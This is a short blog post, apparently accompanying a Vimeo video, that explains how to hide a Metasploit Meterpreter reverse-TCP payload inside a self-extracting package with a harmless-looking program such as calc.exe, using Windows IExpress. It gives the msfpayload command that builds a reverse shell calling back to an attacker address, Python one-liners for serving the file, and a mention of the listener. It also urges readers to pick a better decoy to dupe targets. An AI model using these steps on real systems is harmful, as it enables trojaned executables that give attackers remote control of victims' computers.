Hiding Meterpreter with IExpress from mubix on Vimeo.

Using the IExpress, a built in tool (XP, not sure about other Windows versions), we package two executables together, so that the target is less likely to suspect foul play. Now, I used calc.exe, but you can use anything on both sides of the coin. Use a better game so that it’s easyier to dupe, or a different malicious executable (leekspin perhaps?).

I’ll let your minds take this to the level I know you all are capable of. One caveat is that the icon for the executable is that of the self extractor, which shouldn’t be that much of an issue to change, but I don’t know off the top of my head of an app that does it, so please comment and let me know if you do.

Commands from video:

• ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=1080 X > /tmp/academy/bob.exe
• (For python 2.4+) python -m SimpleHTTPServer
• (For python 2.3 –) python -c “from SimpleHTTPServer import test; test()”
• Start –> Run –> iexpress
• Run multi/hander from command line (not shown in video)

Links from video:

• http://www.metasploit.com/
• http://www.shell-fu.org/
• http://www.microsoft.com/technet/prodtechnol/ie/ieak/techinfo/deploy/60/en/iexpress.mspx?mfr=true
• http://www.virustotal.com/
• http://www.theacademypro.com/
• http://www.theacademyhome.com/